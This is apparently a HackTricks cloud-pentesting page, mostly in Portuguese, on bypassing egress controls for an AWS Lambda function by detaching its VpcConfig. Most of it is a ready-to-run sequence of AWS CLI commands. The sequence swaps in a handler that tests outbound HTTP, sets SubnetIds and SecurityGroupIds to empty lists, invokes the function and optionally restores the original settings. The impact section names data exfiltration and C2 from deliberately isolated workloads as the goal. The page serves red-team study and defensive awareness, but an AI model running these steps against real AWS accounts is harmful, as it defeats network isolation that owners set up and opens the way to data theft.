AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.

Abuso

  • Pré-requisitos: lambda:UpdateFunctionConfiguration na função alvo (e lambda:InvokeFunction para validar), mais permissões para atualizar code/handler se for alterá-los.
  • Suposições: A função está atualmente configurada com VpcConfig apontando para subnets privadas sem NAT (portanto o acesso outbound à internet está bloqueado).
  • Região: us-east-1

Passos

  1. Prepare um handler mínimo que comprove que HTTP outbound funciona

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

  1. Registre a configuração VPC atual (para restaurar depois, se necessário)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. Desanexe a VPC definindo listas vazias

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

  1. Execute a função e verifique o acesso outbound

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Restaurar a configuração VpcConfig original

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

Impacto

  • Recupera acesso outbound irrestrito à internet a partir da função, permitindo exfiltração de dados ou C2 de workloads que foram intencionalmente isolados em subnets privadas sem NAT.

Exemplo de saída (após desanexar VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Limpeza

  • Se você criou quaisquer alterações temporárias no code/handler, restaure-as.
  • Opcionalmente restaure o VpcConfig original salvo em /tmp/orig-vpc.json como mostrado acima.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks